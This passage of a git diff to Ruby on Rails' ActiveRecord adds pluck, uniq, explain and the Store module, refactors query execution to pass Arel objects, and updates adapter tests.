+ payload = args.last
+ queries << payload[:sql] unless payload[:exception] || %w(SCHEMA EXPLAIN).include?(payload[:name])
+ end
+
+ ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+ to_a
+ end
+
+ queries.map do |sql|
+ "EXPLAIN for: #{sql}\n#{@klass.connection.explain(sql)}"
+ end.join("\n")
+ end
+
def to_a
return @records if loaded?
@@ -108,10 +167,10 @@ module ActiveRecord
if default_scoped.equal?(self)
@records = if @readonly_value.nil? && !@klass.locking_enabled?
- eager_loading? ? find_with_associations : @klass.find_by_sql(arel.to_sql, @bind_values)
+ eager_loading? ? find_with_associations : @klass.find_by_sql(arel, @bind_values)
else
IdentityMap.without do
- eager_loading? ? find_with_associations : @klass.find_by_sql(arel.to_sql, @bind_values)
+ eager_loading? ? find_with_associations : @klass.find_by_sql(arel, @bind_values)
end
end
@@ -216,15 +275,21 @@ module ActiveRecord
if conditions || options.present?
where(conditions).apply_finder_options(options.slice(:limit, :order)).update_all(updates)
else
- stmt = arel.compile_update(Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates)))
+ stmt = Arel::UpdateManager.new(arel.engine)
+
+ stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))
+ stmt.table(table)
+ stmt.key = table[primary_key]
- if limit = arel.limit
- stmt.take limit
+ if joins_values.any?
+ @klass.connection.join_to_update(stmt, arel)
+ else
+ stmt.take(arel.limit)
+ stmt.order(*arel.orders)
+ stmt.wheres = arel.constraints
end
- stmt.order(*arel.orders)
- stmt.key = table[primary_key]
- @klass.connection.update stmt.to_sql, 'SQL', bind_values
+ @klass.connection.update stmt, 'SQL', bind_values
end
end
@@ -341,8 +406,7 @@ module ActiveRecord
where(conditions).delete_all
else
statement = arel.compile_delete
- affected = @klass.connection.delete(
- statement.to_sql, 'SQL', bind_values)
+ affected = @klass.connection.delete(statement, 'SQL', bind_values)
reset
affected
@@ -388,7 +452,7 @@ module ActiveRecord
end
def to_sql
- @to_sql ||= arel.to_sql
+ @to_sql ||= klass.connection.to_sql(arel)
end
def where_values_hash
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
index ec1176e3dd..2fd89882ff 100644
--- a/activerecord/lib/active_record/relation/batches.rb
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -62,7 +62,7 @@ module ActiveRecord
start = options.delete(:start).to_i
batch_size = options.delete(:batch_size) || 1000
- relation = relation.except(:order).order(batch_order).limit(batch_size)
+ relation = relation.reorder(batch_order).limit(batch_size)
records = relation.where(table[primary_key].gteq(start)).all
while records.any?
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
index 9a7ff87e88..0f57e9831d 100644
--- a/activerecord/lib/active_record/relation/calculations.rb
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -166,6 +166,23 @@ module ActiveRecord
0
end
+ # This method is designed to perform select by a single column as direct SQL query
+ # Returns <tt>Array</tt> with values of the specified column name
+ # The values has same data type as column.
+ #
+ # Examples:
+ #
+ # Person.pluck(:id) # SELECT people.id FROM people
+ # Person.uniq.pluck(:role) # SELECT DISTINCT role FROM people
+ # Person.where(:confirmed => true).limit(5).pluck(:id)
+ #
+ def pluck(column_name)
+ scope = self.select(column_name)
+ self.connection.select_values(scope.to_sql).map! do |value|
+ type_cast_using_column(value, column_for(column_name))
+ end
+ end
+
private
def perform_calculation(operation, column_name, options = {})
@@ -223,7 +240,7 @@ module ActiveRecord
query_builder = relation.arel
end
- type_cast_calculated_value(@klass.connection.select_value(query_builder.to_sql), column_for(column_name), operation)
+ type_cast_calculated_value(@klass.connection.select_value(query_builder), column_for(column_name), operation)
end
def execute_grouped_calculation(operation, column_name, distinct) #:nodoc:
@@ -259,7 +276,7 @@ module ActiveRecord
relation = except(:group).group(group.join(','))
relation.select_values = select_values
- calculated_data = @klass.connection.select_all(relation.to_sql)
+ calculated_data = @klass.connection.select_all(relation)
if association
key_ids = calculated_data.collect { |row| row[group_aliases.first] }
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index 8cef4e5554..3c8e0f2052 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -114,7 +114,7 @@ module ActiveRecord
def first(*args)
if args.any?
if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash))
- to_a.first(*args)
+ limit(*args).to_a
else
apply_finder_options(args.first).first
end
@@ -134,7 +134,11 @@ module ActiveRecord
def last(*args)
if args.any?
if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash))
- to_a.last(*args)
+ if order_values.empty? && reorder_value.nil?
+ order("#{primary_key} DESC").limit(*args).reverse
+ else
+ to_a.last(*args)
+ end
else
apply_finder_options(args.first).last
end
@@ -180,12 +184,14 @@ module ActiveRecord
# Person.exists?(:name => "David")
# Person.exists?(['name LIKE ?', "%#{query}%"])
# Person.exists?
- def exists?(id = nil)
+ def exists?(id = false)
+ return false if id.nil?
+
id = id.id if ActiveRecord::Base === id
join_dependency = construct_join_dependency_for_association_find
relation = construct_relation_for_association_find(join_dependency)
- relation = relation.except(:select).select("1").limit(1)
+ relation = relation.except(:select, :order).select("1").limit(1)
case id
when Array, Hash
@@ -193,8 +199,8 @@ module ActiveRecord
else
relation = relation.where(table[primary_key].eq(id)) if id
end
-
- connection.select_value(relation.to_sql, "#{name} Exists") ? true : false
+
+ connection.select_value(relation, "#{name} Exists") ? true : false
end
protected
@@ -202,7 +208,7 @@ module ActiveRecord
def find_with_associations
join_dependency = construct_join_dependency_for_association_find
relation = construct_relation_for_association_find(join_dependency)
- rows = connection.select_all(relation.to_sql, 'SQL', relation.bind_values)
+ rows = connection.select_all(relation, 'SQL', relation.bind_values)
join_dependency.instantiate(rows)
rescue ThrowResult
[]
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index 2814771002..a789f48725 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -19,24 +19,26 @@ module ActiveRecord
case value
when ActiveRecord::Relation
- value.select_values = [value.klass.arel_table['id']] if value.select_values.empty?
+ value = value.select(value.klass.arel_table[value.klass.primary_key]) if value.select_values.empty?
attribute.in(value.arel.ast)
when Array, ActiveRecord::Associations::CollectionProxy
- values = value.to_a.map { |x|
- x.is_a?(ActiveRecord::Base) ? x.id : x
- }
+ values = value.to_a.map {|x| x.is_a?(ActiveRecord::Base) ? x.id : x}
+ ranges, values = values.partition {|v| v.is_a?(Range) || v.is_a?(Arel::Relation)}
+
+ array_predicates = ranges.map {|range| attribute.in(range)}
if values.include?(nil)
values = values.compact
if values.empty?
- attribute.eq nil
+ array_predicates << attribute.eq(nil)
else
- attribute.in(values.compact).or attribute.eq(nil)
+ array_predicates << attribute.in(values.compact).or(attribute.eq(nil))
end
else
- attribute.in(values)
+ array_predicates << attribute.in(values)
end
+ array_predicates.inject {|composite, predicate| composite.or(predicate)}
when Range, Arel::Relation
attribute.in(value)
when ActiveRecord::Base
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index 3a7b245c51..c281bead0d 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -9,7 +9,8 @@ module ActiveRecord
:select_values, :group_values, :order_values, :joins_values,
:where_values, :having_values, :bind_values,
:limit_value, :offset_value, :lock_value, :readonly_value, :create_with_value,
- :from_value, :reorder_value, :reverse_order_value
+ :from_value, :reorder_value, :reverse_order_value,
+ :uniq_value
def includes(*args)
args.reject! {|a| a.blank? }
@@ -37,6 +38,35 @@ module ActiveRecord
relation
end
+ # Works in two unique ways.
+ #
+ # First: takes a block so it can be used just like Array#select.
+ #
+ # Model.scoped.select { |m| m.field == value }
+ #
+ # This will build an array of objects from the database for the scope,
+ # converting them into an array and iterating through them using Array#select.
+ #
+ # Second: Modifies the SELECT statement for the query so that only certain
+ # fields are retrieved:
+ #
+ # >> Model.select(:field)
+ # => [#<Model field:value>]
+ #
+ # Although in the above example it looks as though this method returns an
+ # array, it actually returns a relation object and can have other query
+ # methods appended to it, such as the other methods in ActiveRecord::QueryMethods.
+ #
+ # This method will also take multiple parameters:
+ #
+ # >> Model.select(:field, :other_field, :and_one_more)
+ # => [#<Model field: "value", other_field: "value", and_one_more: "value">]
+ #
+ # Any attributes that do not have fields retrieved by a select
+ # will return `nil` when the getter method for that attribute is used:
+ #
+ # >> Model.select(:field).first.other_field
+ # => nil
def select(value = Proc.new)
if block_given?
to_a.select {|*block_args| value.call(*block_args) }
@@ -147,6 +177,58 @@ module ActiveRecord
relation
end
+ # Specifies whether the records should be unique or not. For example:
+ #
+ # User.select(:name)
+ # # => Might return two records with the same name
+ #
+ # User.select(:name).uniq
+ # # => Returns 1 record per unique name
+ #
+ # User.select(:name).uniq.uniq(false)
+ # # => You can also remove the uniqueness
+ def uniq(value = true)
+ relation = clone
+ relation.uniq_value = value
+ relation
+ end
+
+ # Used to extend a scope with additional methods, either through
+ # a module or through a block provided.
+ #
+ # The object returned is a relation, which can be further extended.
+ #
+ # === Using a module
+ #
+ # module Pagination
+ # def page(number)
+ # # pagination code goes here
+ # end
+ # end
+ #
+ # scope = Model.scoped.extending(Pagination)
+ # scope.page(params[:page])
+ #
+ # You can also pass a list of modules:
+ #
+ # scope = Model.scoped.extending(Pagination, SomethingElse)
+ #
+ # === Using a block
+ #
+ # scope = Model.scoped.extending do
+ # def page(number)
+ # # pagination code goes here
+ # end
+ # end
+ # scope.page(params[:page])
+ #
+ # You can also use a block and a module list:
+ #
+ # scope = Model.scoped.extending(Pagination) do
+ # def per_page(number)
+ # # pagination code goes here
+ # end
+ # end
def extending(*modules)
modules << Module.new(&Proc.new) if block_given?
@@ -187,6 +269,7 @@ module ActiveRecord
build_select(arel, @select_values.uniq)
+ arel.distinct(@uniq_value)
arel.from(@from_value) if @from_value
arel.lock(@lock_value) if @lock_value
@@ -254,12 +337,12 @@ module ActiveRecord
association_joins = buckets['association_join'] || []
stashed_association_joins = buckets['stashed_join'] || []
- join_nodes = buckets['join_node'] || []
+ join_nodes = (buckets['join_node'] || []).uniq
string_joins = (buckets['string_join'] || []).map { |x|
x.strip
}.uniq
- join_list = custom_join_ast(manager, string_joins)
+ join_list = join_nodes + custom_join_ast(manager, string_joins)
join_dependency = ActiveRecord::Associations::JoinDependency.new(
@klass,
@@ -267,10 +350,6 @@ module ActiveRecord
join_list
)
- join_nodes.each do |join|
- join_dependency.alias_tracker.aliased_name_for(join.left.name.downcase)
- end
-
join_dependency.graft(*stashed_association_joins)
@implicit_readonly = true unless association_joins.empty? && stashed_association_joins.empty?
@@ -280,7 +359,6 @@ module ActiveRecord
association.join_to(manager)
end
- manager.join_sources.concat join_nodes.uniq
manager.join_sources.concat join_list
manager
@@ -312,7 +390,7 @@ module ActiveRecord
when String, Symbol
o.to_s.split(',').collect do |s|
s.strip!
- (s if s =~ /\(/) || s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC')
+ s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC')
end
else
o
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
index 19585f6214..cdde5cf3b9 100644
--- a/activerecord/lib/active_record/schema_dumper.rb
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -40,6 +40,10 @@ module ActiveRecord
def header(stream)
define_params = @version ? ":version => #{@version}" : ""
+ if stream.respond_to?(:external_encoding)
+ stream.puts "# encoding: #{stream.external_encoding.name}"
+ end
+
stream.puts <<HEADER
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
@@ -186,6 +190,9 @@ HEADER
index_lengths = (index.lengths || []).compact
statement_parts << (':length => ' + Hash[index.columns.zip(index.lengths)].inspect) unless index_lengths.empty?
+ index_orders = (index.orders || {})
+ statement_parts << (':order => ' + index.orders.inspect) unless index_orders.empty?
+
' ' + statement_parts.join(', ')
end
diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb
index cbfa1ad609..0e7f57aa43 100644
--- a/activerecord/lib/active_record/serializers/xml_serializer.rb
+++ b/activerecord/lib/active_record/serializers/xml_serializer.rb
@@ -179,7 +179,7 @@ module ActiveRecord #:nodoc:
class XmlSerializer < ActiveModel::Serializers::Xml::Serializer #:nodoc:
def initialize(*args)
super
- options[:except] |= Array.wrap(@serializable.class.inheritance_column)
+ options[:except] = Array.wrap(options[:except]) | Array.wrap(@serializable.class.inheritance_column)
end
class Attribute < ActiveModel::Serializers::Xml::Serializer::Attribute #:nodoc:
diff --git a/activerecord/lib/active_record/session_store.rb b/activerecord/lib/active_record/session_store.rb
index 76c37cc367..e3bbd06f7e 100644
--- a/activerecord/lib/active_record/session_store.rb
+++ b/activerecord/lib/active_record/session_store.rb
@@ -59,12 +59,12 @@ module ActiveRecord
end
def drop_table!
- connection_pool.clear_table_cache!(table_name)
+ connection.schema_cache.clear_table_cache!(table_name)
connection.drop_table table_name
end
def create_table!
- connection_pool.clear_table_cache!(table_name)
+ connection.schema_cache.clear_table_cache!(table_name)
connection.create_table(table_name) do |t|
t.string session_id_column, :limit => 255
t.text data_column_name
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
new file mode 100644
index 0000000000..8cc84f81d0
--- /dev/null
+++ b/activerecord/lib/active_record/store.rb
@@ -0,0 +1,50 @@
+module ActiveRecord
+ # Store gives you a thin wrapper around serialize for the purpose of storing hashes in a single column.
+ # It's like a simple key/value store backed into your record when you don't care about being able to
+ # query that store outside the context of a single record.
+ #
+ # You can then declare accessors to this store that are then accessible just like any other attribute
+ # of the model. This is very helpful for easily exposing store keys to a form or elsewhere that's
+ # already built around just accessing attributes on the model.
+ #
+ # Make sure that you declare the database column used for the serialized store as a text, so there's
+ # plenty of room.
+ #
+ # Examples:
+ #
+ # class User < ActiveRecord::Base
+ # store :settings, accessors: [ :color, :homepage ]
+ # end
+ #
+ # u = User.new(color: 'black', homepage: '37signals.com')
+ # u.color # Accessor stored attribute
+ # u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+ #
+ # # Add additional accessors to an existing store through store_accessor
+ # class SuperUser < User
+ # store_accessor :settings, :privileges, :servants
+ # end
+ module Store
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ def store(store_attribute, options = {})
+ serialize store_attribute, Hash
+ store_accessor(store_attribute, options[:accessors]) if options.has_key? :accessors
+ end
+
+ def store_accessor(store_attribute, *keys)
+ Array(keys).flatten.each do |key|
+ define_method("#{key}=") do |value|
+ send(store_attribute)[key] = value
+ send("#{store_attribute}_will_change!")
+ end
+
+ define_method(key) do
+ send(store_attribute)[key]
+ end
+ end
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
index 1511c71ffc..0c760e9850 100644
--- a/activerecord/lib/active_record/timestamp.rb
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -33,10 +33,14 @@ module ActiveRecord
extend ActiveSupport::Concern
included do
- class_attribute :record_timestamps, :instance_writer => false
+ class_attribute :record_timestamps
self.record_timestamps = true
end
+ def initialize_dup(other)
+ clear_timestamp_attributes
+ end
+
private
def create #:nodoc:
@@ -44,7 +48,9 @@ module ActiveRecord
current_time = current_time_from_proper_timezone
all_timestamp_attributes.each do |column|
- write_attribute(column.to_s, current_time) if respond_to?(column) && self.send(column).nil?
+ if respond_to?(column) && respond_to?("#{column}=") && self.send(column).nil?
+ write_attribute(column.to_s, current_time)
+ end
end
end
@@ -95,6 +101,13 @@ module ActiveRecord
def current_time_from_proper_timezone #:nodoc:
self.class.default_timezone == :utc ? Time.now.utc : Time.now
end
+
+ # Clear attributes and changed_attributes
+ def clear_timestamp_attributes
+ all_timestamp_attributes_in_model.each do |attribute_name|
+ self[attribute_name] = nil
+ changed_attributes.delete(attribute_name)
+ end
+ end
end
end
-
diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb
index 5df85304a2..7af0352a31 100644
--- a/activerecord/lib/active_record/validations/associated.rb
+++ b/activerecord/lib/active_record/validations/associated.rb
@@ -17,15 +17,7 @@ module ActiveRecord
# validates_associated :pages, :library
# end
#
- # Warning: If, after the above definition, you then wrote:
- #
- # class Page < ActiveRecord::Base
- # belongs_to :book
- #
- # validates_associated :book
- # end
- #
- # this would specify a circular dependency and cause infinite recursion.
+ # WARNING: This validation must not be used on both ends of an association. Doing so will lead to a circular dependency and cause infinite recursion.
#
# NOTE: This validation will not fail if the association hasn't been assigned. If you want to
# ensure that the association is both present and guaranteed to be valid, you also need to
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index 484b1d369b..2e2ea8c42b 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -57,8 +57,8 @@ module ActiveRecord
value = column.limit ? value.to_s.mb_chars[0, column.limit] : value.to_s if column.text?
if !options[:case_sensitive] && value && column.text?
- # will use SQL LOWER function before comparison
- relation = table[attribute].lower.eq(table.lower(value))
+ # will use SQL LOWER function before comparison, unless it detects a case insensitive collation
+ relation = klass.connection.case_insensitive_comparison(table, attribute, column, value)
else
value = klass.connection.case_sensitive_modifier(value)
relation = table[attribute].eq(value)
diff --git a/activerecord/test/active_record/connection_adapters/fake_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
index 1c2942170e..267ea8bb6b 100644
--- a/activerecord/test/active_record/connection_adapters/fake_adapter.rb
+++ b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
@@ -9,11 +9,16 @@ module ActiveRecord
class FakeAdapter < AbstractAdapter
attr_accessor :tables, :primary_keys
+ @columns = Hash.new { |h,k| h[k] = [] }
+ class << self
+ attr_reader :columns
+ end
+
def initialize(connection, logger)
super
@tables = []
@primary_keys = {}
- @columns = Hash.new { |h,k| h[k] = [] }
+ @columns = self.class.columns
end
def primary_key(table)
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index 3942e7bb41..5d5ff53004 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -1,155 +1,160 @@
require "cases/helper"
-class AdapterTest < ActiveRecord::TestCase
- def setup
- @connection = ActiveRecord::Base.connection
- end
-
- def test_tables
- tables = @connection.tables
- assert tables.include?("accounts")
- assert tables.include?("authors")
- assert tables.include?("tasks")
- assert tables.include?("topics")
- end
+module ActiveRecord
+ class AdapterTest < ActiveRecord::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+ end
- def test_table_exists?
- assert @connection.table_exists?("accounts")
- assert !@connection.table_exists?("nonexistingtable")
- end
+ def test_tables
+ tables = @connection.tables
+ assert tables.include?("accounts")
+ assert tables.include?("authors")
+ assert tables.include?("tasks")
+ assert tables.include?("topics")
+ end
- def test_indexes
- idx_name = "accounts_idx"
-
- if @connection.respond_to?(:indexes)
- indexes = @connection.indexes("accounts")
- assert indexes.empty?
-
- @connection.add_index :accounts, :firm_id, :name => idx_name
- indexes = @connection.indexes("accounts")
- assert_equal "accounts", indexes.first.table
- # OpenBase does not have the concept of a named index
- # Indexes are merely properties of columns.
- assert_equal idx_name, indexes.first.name unless current_adapter?(:OpenBaseAdapter)
- assert !indexes.first.unique
- assert_equal ["firm_id"], indexes.first.columns
- else
- warn "#{@connection.class} does not respond to #indexes"
+ def test_table_exists?
+ assert @connection.table_exists?("accounts")
+ assert !@connection.table_exists?("nonexistingtable")
end
- ensure
- @connection.remove_index(:accounts, :name => idx_name) rescue nil
- end
+ def test_indexes
+ idx_name = "accounts_idx"
+
+ if @connection.respond_to?(:indexes)
+ indexes = @connection.indexes("accounts")
+ assert indexes.empty?
+
+ @connection.add_index :accounts, :firm_id, :name => idx_name
+ indexes = @connection.indexes("accounts")
+ assert_equal "accounts", indexes.first.table
+ # OpenBase does not have the concept of a named index
+ # Indexes are merely properties of columns.
+ assert_equal idx_name, indexes.first.name unless current_adapter?(:OpenBaseAdapter)
+ assert !indexes.first.unique
+ assert_equal ["firm_id"], indexes.first.columns
+ else
+ warn "#{@connection.class} does not respond to #indexes"
+ end
- def test_current_database
- if @connection.respond_to?(:current_database)
- assert_equal ARTest.connection_config['arunit']['database'], @connection.current_database
+ ensure
+ @connection.remove_index(:accounts, :name => idx_name) rescue nil
end
- end
- if current_adapter?(:MysqlAdapter)
- def test_charset
- assert_not_nil @connection.charset
- assert_not_equal 'character_set_database', @connection.charset
- assert_equal @connection.show_variable('character_set_database'), @connection.charset
+ def test_current_database
+ if @connection.respond_to?(:current_database)
+ assert_equal ARTest.connection_config['arunit']['database'], @connection.current_database
+ end
end
- def test_collation
- assert_not_nil @connection.collation
- assert_not_equal 'collation_database', @connection.collation
- assert_equal @connection.show_variable('collation_database'), @connection.collation
- end
+ if current_adapter?(:MysqlAdapter)
+ def test_charset
+ assert_not_nil @connection.charset
+ assert_not_equal 'character_set_database', @connection.charset
+ assert_equal @connection.show_variable('character_set_database'), @connection.charset
+ end
- def test_show_nonexistent_variable_returns_nil
- assert_nil @connection.show_variable('foo_bar_baz')
- end
+ def test_collation
+ assert_not_nil @connection.collation
+ assert_not_equal 'collation_database', @connection.collation
+ assert_equal @connection.show_variable('collation_database'), @connection.collation
+ end
- def test_not_specifying_database_name_for_cross_database_selects
- begin
- assert_nothing_raised do
- ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['arunit'].except(:database))
+ def test_show_nonexistent_variable_returns_nil
+ assert_nil @connection.show_variable('foo_bar_baz')
+ end
- config = ARTest.connection_config
- ActiveRecord::Base.connection.execute(
- "SELECT #{config['arunit']['database']}.pirates.*, #{config['arunit2']['database']}.courses.* " \
- "FROM #{config['arunit']['database']}.pirates, #{config['arunit2']['database']}.courses"
- )
+ def test_not_specifying_database_name_for_cross_database_selects
+ begin
+ assert_nothing_raised do
+ ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['arunit'].except(:database))
+
+ config = ARTest.connection_config
+ ActiveRecord::Base.connection.execute(
+ "SELECT #{config['arunit']['database']}.pirates.*, #{config['arunit2']['database']}.courses.* " \
+ "FROM #{config['arunit']['database']}.pirates, #{config['arunit2']['database']}.courses"
+ )
+ end
+ ensure
+ ActiveRecord::Base.establish_connection 'arunit'
end
- ensure
- ActiveRecord::Base.establish_connection 'arunit'
end
end
- end
- def test_table_alias
- def @connection.test_table_alias_length() 10; end
- class << @connection
- alias_method :old_table_alias_length, :table_alias_length
- alias_method :table_alias_length, :test_table_alias_length
- end
+ def test_table_alias
+ def @connection.test_table_alias_length() 10; end
+ class << @connection
+ alias_method :old_table_alias_length, :table_alias_length
+ alias_method :table_alias_length, :test_table_alias_length
+ end
- assert_equal 'posts', @connection.table_alias_for('posts')
- assert_equal 'posts_comm', @connection.table_alias_for('posts_comments')
- assert_equal 'dbo_posts', @connection.table_alias_for('dbo.posts')
+ assert_equal 'posts', @connection.table_alias_for('posts')
+ assert_equal 'posts_comm', @connection.table_alias_for('posts_comments')
+ assert_equal 'dbo_posts', @connection.table_alias_for('dbo.posts')
- class << @connection
- remove_method :table_alias_length
- alias_method :table_alias_length, :old_table_alias_length
+ class << @connection
+ remove_method :table_alias_length
+ alias_method :table_alias_length, :old_table_alias_length
+ end
end
- end
- # test resetting sequences in odd tables in postgreSQL
- if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
- require 'models/movie'
- require 'models/subscriber'
+ # test resetting sequences in odd tables in postgreSQL
+ if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
+ require 'models/movie'
+ require 'models/subscriber'
- def test_reset_empty_table_with_custom_pk
- Movie.delete_all
- Movie.connection.reset_pk_sequence! 'movies'
- assert_equal 1, Movie.create(:name => 'fight club').id
- end
+ def test_reset_empty_table_with_custom_pk
+ Movie.delete_all
+ Movie.connection.reset_pk_sequence! 'movies'
+ assert_equal 1, Movie.create(:name => 'fight club').id
+ end
- if ActiveRecord::Base.connection.adapter_name != "FrontBase"
- def test_reset_table_with_non_integer_pk
- Subscriber.delete_all
- Subscriber.connection.reset_pk_sequence! 'subscribers'
- sub = Subscriber.new(:name => 'robert drake')
- sub.id = 'bob drake'
- assert_nothing_raised { sub.save! }
+ if ActiveRecord::Base.connection.adapter_name != "FrontBase"
+ def test_reset_table_with_non_integer_pk
+ Subscriber.delete_all
+ Subscriber.connection.reset_pk_sequence! 'subscribers'
+ sub = Subscriber.new(:name => 'robert drake')
+ sub.id = 'bob drake'
+ assert_nothing_raised { sub.save! }
+ end
end
end
- end
- def test_uniqueness_violations_are_translated_to_specific_exception
- @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
- assert_raises(ActiveRecord::RecordNotUnique) do
+ def test_uniqueness_violations_are_translated_to_specific_exception
@connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
+ assert_raises(ActiveRecord::RecordNotUnique) do
+ @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
+ end
end
- end
- def test_foreign_key_violations_are_translated_to_specific_exception
- unless @connection.adapter_name == 'SQLite'
- assert_raises(ActiveRecord::InvalidForeignKey) do
- # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
- if @connection.prefetch_primary_key?
- id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
- @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
- else
- @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+ def test_foreign_key_violations_are_translated_to_specific_exception
+ unless @connection.adapter_name == 'SQLite'
+ assert_raises(ActiveRecord::InvalidForeignKey) do
+ # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
+ if @connection.prefetch_primary_key?
+ id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
+ @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
+ else
+ @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+ end
end
end
end
- end
- def test_disable_referential_integrity
- assert_nothing_raised do
- @connection.disable_referential_integrity do
- # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
- if @connection.prefetch_primary_key?
- id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
- @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
- else
- @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+ def test_disable_referential_integrity
+ assert_nothing_raised do
+ @connection.disable_referential_integrity do
+ # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
+ if @connection.prefetch_primary_key?
+ id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
+ @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
+ else
+ @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+ end
+ # should deleted created record as otherwise disable_referential_integrity will try to enable contraints after executed block
+ # and will fail (at least on Oracle)
+ @connection.execute "DELETE FROM fk_test_has_fk"
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql/active_schema_test.rb b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
index 509baacaef..94fc3564df 100644
--- a/activerecord/test/cases/adapters/mysql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql/active_schema_test.rb
@@ -2,7 +2,7 @@ require "cases/helper"
class ActiveSchemaTest < ActiveRecord::TestCase
def setup
- ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
+ ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
alias_method :execute_without_stub, :execute
remove_method :execute
def execute(sql, name = nil) return sql end
@@ -10,7 +10,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase
end
def teardown
- ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
+ ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
remove_method :execute
alias_method :execute, :execute_without_stub
end
@@ -99,7 +99,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase
private
def with_real_execute
#we need to actually modify some data, so we make execute point to the original method
- ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
+ ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
alias_method :execute_with_stub, :execute
remove_method :execute
alias_method :execute, :execute_without_stub
@@ -107,7 +107,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase
yield
ensure
#before finishing, we restore the alias to the mock-up method
- ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
+ ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do
remove_method :execute
alias_method :execute, :execute_with_stub
end
diff --git a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
new file mode 100644
index 0000000000..97adb6b297
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb
@@ -0,0 +1,35 @@
+require "cases/helper"
+require 'models/person'
+
+class MysqlCaseSensitivityTest < ActiveRecord::TestCase
+ class CollationTest < ActiveRecord::Base
